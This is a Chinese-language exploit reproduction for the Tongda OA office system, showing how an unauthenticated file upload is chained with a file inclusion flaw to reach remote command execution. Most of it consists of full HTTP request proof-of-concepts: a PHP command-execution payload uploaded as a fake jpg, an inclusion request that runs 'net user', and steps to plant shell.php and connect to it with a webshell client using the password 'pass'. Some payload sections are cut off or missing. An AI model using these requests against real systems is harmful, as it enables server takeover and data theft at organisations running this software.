cms,漏洞,文件上传 CMS文件上传漏洞 通达OA办公系统
通达OA办公系统
下载地址:链接:https://pan.baidu.com/s/1vQ7-Yri0vXofjb8NqKBSFQ提取码:qwer下载后安装即可。
默认用户admin密码为空。
漏洞分析
该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。
漏洞复现
1. 任意命令执行漏洞
路径为:ispirit/im/upload.php抓包构造POC:
POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
发送POC:查看上传成功的文件:前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,即可实现执行任意命令。此处执行命令“net user”
POST /ispirit/interface/gateway.php HTTP/1.1
Host: localhost:999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user
执行命令“ipconfig”:
2.getshell
前台任意文件上传漏洞:抓取任意数据包,修改数据包进行重放,上传后缀为jpg的木马文件(木马文件执行写入文件操作)
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1398
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
------WebKitFormBoundarypyfBh1YB4pV8McGB--
查看生成的图片:前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,会在/webroot/ispirit/interface/目录下生成一个 shell.php 文件。成功执行:查看/webroot/ispirit/interface/目录生成的shell文件:用冰蝎连接,/ispirit/interface/shell.php用冰蝎连接,http://localhost:999/ispirit/interface/shell.php密码为:pass
如果您的问题还未解决可以联系站长付费协助。
有问题可以加入技术QQ群一起交流学习
本站vip会员 请加入无忧模板网 VIP群(50604020) PS:加入时备注用户名或昵称
普通注册会员或访客 请加入无忧模板网 技术交流群(50604130)
客服微信号:15898888535
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若内容侵犯了原著者的合法权益,可联系站长删除。